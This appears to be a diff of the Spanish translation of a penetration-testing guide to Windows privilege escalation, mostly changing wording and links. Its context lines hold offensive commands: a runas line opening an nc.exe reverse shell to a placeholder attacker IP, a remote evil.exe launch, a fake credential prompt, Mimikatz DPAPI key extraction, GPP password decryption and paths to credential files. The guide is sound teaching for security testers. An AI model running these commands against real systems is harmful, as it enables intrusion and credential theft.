 **Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)**
 
-**Otra solución alternativa** a este problema es ejecutar:
+**Otra solución alternativa** de este problema es ejecutar:
 ```
 sc.exe config usosvc start= auto
 ```
@@ -474,7 +474,7 @@ Para la detección y explotación de esta vulnerabilidad, se puede utilizar el _
 
 ### Permisos débiles de los binarios de servicios
 
-**Verifica si puedes modificar el binario que es ejecutado por un servicio** o si tienes **permisos de escritura en la carpeta** donde se encuentra el binario ([**DLL Hijacking**](dll-hijacking/))**.**\
+**Verifica si puedes modificar el binario que es ejecutado por un servicio** o si tienes **permisos de escritura en la carpeta** donde se encuentra el binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
 Puedes obtener cada binario que es ejecutado por un servicio usando **wmic** (no en system32) y verificar tus permisos usando **icacls**:
 ```bash
 for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@@ -555,7 +555,7 @@ Windows permite a los usuarios especificar acciones a tomar si un servicio falla
 
 ### Aplicaciones Instaladas
 
-Verifica **los permisos de los binarios** (quizás puedas sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/)).
+Verifica **los permisos de los binarios** (quizás puedas sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/index.html)).
 ```bash
 dir /a "C:\Program Files"
 dir /a "C:\Program Files (x86)"
@@ -664,7 +664,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
 
 [**Consulta esta página para comandos relacionados con el Firewall**](../basic-cmd-for-pentesters.md#firewall) **(listar reglas, crear reglas, desactivar, desactivar...)**
 
-Más [comandos para enumeración de red aquí](../basic-cmd-for-pentesters.md#network)
+Más[ comandos para enumeración de red aquí](../basic-cmd-for-pentesters.md#network)
 
 ### Subsistema de Windows para Linux (wsl)
 ```bash
@@ -673,7 +673,7 @@ C:\Windows\System32\wsl.exe
 ```
 El binario `bash.exe` también se puede encontrar en `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
 
-Si obtienes el usuario root, puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto, te preguntará a través de la GUI si se debe permitir `nc` por el firewall).
+Si obtienes el usuario root, puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto, te preguntará a través de la GUI si `nc` debe ser permitido por el firewall).
 ```bash
 wsl whoami
 ./ubuntun1604.exe config --default-user root
@@ -700,12 +700,12 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 ```
 ### Administrador de credenciales / Bóveda de Windows
 
-Desde [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
+From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
 La Bóveda de Windows almacena credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así.
 
 La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo.
 
-A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible que usen las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
+A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible para ellas usar las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
 
 Usa `cmdkey` para listar las credenciales almacenadas en la máquina.
 ```bash
@@ -715,7 +715,7 @@ Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
 ```
-Luego puedes usar `runas` con las opciones `/savecred` para utilizar las credenciales guardadas. El siguiente ejemplo llama a un binario remoto a través de un recurso compartido SMB.
+Luego puedes usar `runas` con la opción `/savecred` para utilizar las credenciales guardadas. El siguiente ejemplo llama a un binario remoto a través de un recurso compartido SMB.
 ```bash
 runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
 ```
@@ -723,15 +723,15 @@ Usando `runas` con un conjunto de credenciales proporcionado.
 ```bash
 C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
 ```
-Tenga en cuenta que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o desde el [módulo Empire Powershell](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
+Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
 
 ### DPAPI
 
 La **Interfaz de Programación de Aplicaciones de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía.
 
-**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran la encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema.
+**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema.
 
-Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
+Las claves RSA de usuario encriptadas, al usar DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
 ```powershell
 Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
@@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
 
 ### Credenciales de PowerShell
 
-Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que típicamente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas.
+Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que generalmente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas.
 
 Para **desencriptar** unas credenciales de PS del archivo que las contiene, puedes hacer:
 ```powershell
@@ -791,7 +791,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
 ```
 Usa el módulo `dpapi::rdg` de **Mimikatz** con el `/masterkey` apropiado para **desencriptar cualquier archivo .rdg**\
-Puedes **extraer muchas claves maestras DPAPI** de la memoria con el módulo `sekurlsa::dpapi` de Mimikatz
+Puedes **extraer muchas claves maestras de DPAPI** de la memoria con el módulo `sekurlsa::dpapi` de Mimikatz
 
 ### Sticky Notes
 
@@ -884,7 +884,7 @@ $ErrorActionPreference = $OrigError
 ### SCClient / SCCM
 
 Verifique si `C:\Windows\CCM\SCClient.exe` existe.\
-Los instaladores se **ejecutan con privilegios de SYSTEM**, muchos son vulnerables a **DLL Sideloading (Info de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
+Los instaladores se **ejecutan con privilegios de SYSTEM**, muchos son vulnerables a **DLL Sideloading (Información de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
 ```bash
 $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
 if ($result) { $result }
@@ -960,7 +960,7 @@ También puedes buscar estos archivos usando **metasploit**: _post/windows/gathe
 %SYSTEMROOT%\System32\config\SYSTEM
 %SYSTEMROOT%\System32\config\RegBack\system
 ```
-### Credenciales de la Nube
+### Credenciales de Nube
 ```bash
 #From user home
 .aws\credentials
@@ -976,9 +976,9 @@ Busca un archivo llamado **SiteList.xml**
 
 ### Cached GPP Pasword
 
-Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallos de seguridad significativos. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
+Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de Group Policy Preferences (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPPs, encriptadas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser desencriptadas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
 
-Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
+Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función desencripta la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
 
 Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos:
 
@@ -989,7 +989,7 @@ Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents an
 - Printers.xml
 - Drives.xml
 
-**Para descifrar el cPassword:**
+**Para desencriptar el cPassword:**
 ```bash
 #To decrypt these passwords you can decrypt it using
 gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
@@ -998,7 +998,7 @@ Usando crackmapexec para obtener las contraseñas:
 ```bash
 crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
 ```
-### IIS Web Config
+### Configuración de IIS Web
 ```powershell
 Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
 ```
@@ -1052,7 +1052,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
 ```
 ### Pedir credenciales
 
-Puedes siempre **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**):
+Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**):
 ```bash
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1168,9 +1168,9 @@ Herramientas para extraer contraseñas de navegadores:
 
 **Component Object Model (COM)** es una tecnología integrada en el sistema operativo Windows que permite la **intercomunicación** entre componentes de software de diferentes lenguajes. Cada componente COM es **identificado a través de un ID de clase (CLSID)** y cada componente expone funcionalidad a través de una o más interfaces, identificadas por IDs de interfaz (IIDs).
 
-Las clases y interfaces COM se definen en el registro bajo **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
+Las clases e interfaces COM se definen en el registro bajo **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
 
-Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Un hilo), **Free** (Múltiples hilos), **Both** (Un hilo o múltiples) o **Neutral** (Hilo neutral).
+Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico Hilo), **Free** (Multi-Hilo), **Both** (Único o Múltiple) o **Neutral** (Hilo Neutral).
 
 ![](<../../images/image (729).png>)
 
@@ -1216,28 +1216,28 @@ Invoke-SessionGopher -Thorough
 Invoke-SessionGopher -AllDomain -o
 Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 ```
-## Manejadores Filtrados
+## Leaked Handlers
 
 Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\
-Entonces, si tienes **acceso total al proceso de bajos privilegios**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
-[Lee este ejemplo para más información sobre **cómo detectar y explotar esta vulnerabilidad**.](leaked-handle-exploitation.md)\
-[Lee este **otro post para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos y hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
+Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
+[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
+[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
 
-## Suplantación de Cliente de Pipe Nombrado
+## Named Pipe Client Impersonation
 
 Los segmentos de memoria compartida, conocidos como **pipes**, permiten la comunicación entre procesos y la transferencia de datos.
 
-Windows proporciona una característica llamada **Named Pipes**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de pipe nombrado** y **cliente de pipe nombrado**.
+Windows proporciona una característica llamada **Named Pipes**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de named pipe** y **cliente de named pipe**.
 
 Cuando se envían datos a través de un pipe por un **cliente**, el **servidor** que configuró el pipe tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de un pipe que puedes imitar proporciona una oportunidad para **obtener privilegios más altos** al adoptar la identidad de ese proceso una vez que interactúa con el pipe que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](#from-high-integrity-to-system).
 
-Además, la siguiente herramienta permite **interceptar una comunicación de pipe nombrado con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
+Además, la siguiente herramienta permite **interceptar una comunicación de named pipe con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
-## Varios
+## Misc
 
-### **Monitoreo de Líneas de Comando para contraseñas**
+### **Monitoring Command Lines for passwords**
 
-Al obtener un shell como usuario, puede haber tareas programadas u otros procesos que se ejecutan y **pasan credenciales en la línea de comando**. El script a continuación captura las líneas de comando de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia.
+Al obtener un shell como usuario, puede haber tareas programadas u otros procesos que se ejecutan y **pasan credenciales en la línea de comandos**. El script a continuación captura las líneas de comandos de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia.
 ```powershell
 while($true)
 {
@@ -1251,7 +1251,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
 
 ## De usuario de bajo privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass de UAC
 
-Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.
+Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal o cualquier otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.
 
 Esto hace posible escalar privilegios y eludir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario utilizado durante el proceso está firmado y emitido por Microsoft.
 
@@ -1307,7 +1307,7 @@ Lee esto para **aprender sobre los niveles de integridad**:
 integrity-levels.md
 {{#endref}}
 
-Luego **lee esto para aprender sobre UAC y los bypasses de UAC:**
+Luego **lee esto para aprender sobre UAC y los bypass de UAC:**
 
 {{#ref}}
 ../authentication-credentials-uac-and-efs/uac-user-account-control.md
@@ -1333,20 +1333,20 @@ Desde un proceso de alta integridad, podrías intentar **habilitar las entradas
 
 ### From SeDebug + SeImpersonate to Full Token privileges
 
-Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\
-Usar esta técnica generalmente **selecciona cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
+Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad ya existente), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\
+Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
 **Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.**
 
 ### **Named Pipes**
 
-Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios SYSTEM.\
+Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios de SYSTEM.\
 Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](#named-pipe-client-impersonation).\
 Si quieres leer un ejemplo de [**cómo pasar de alta integridad a System usando pipes nombrados, deberías leer esto**](from-high-integrity-to-system-with-name-pipes.md).
 
 ### Dll Hijacking
 
 Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** que se ejecuta como **SYSTEM**, podrás ejecutar código arbitrario con esos permisos. Por lo tanto, el Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es **mucho más fácil de lograr desde un proceso de alta integridad** ya que tendrá **permisos de escritura** en las carpetas utilizadas para cargar dlls.\
-**Puedes** [**aprender más sobre Dll hijacking aquí**](dll-hijacking/)**.**
+**Puedes** [**aprender más sobre Dll hijacking aquí**](dll-hijacking/index.html)**.**
 
 ### **From Administrator or Network Service to System**
 
@@ -1375,7 +1375,7 @@ https://github.com/sailay1996/RpcSsImpersonator
 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.**\
 [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Administrador de Credenciales. Detectado.**\
 [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rocía contraseñas recopiladas a través del dominio**\
-[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofeador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
+[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es una herramienta de suplantación y hombre-en-el-medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
 [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de privesc en Windows**\
 [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED for Watson)\
 [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de administrador)**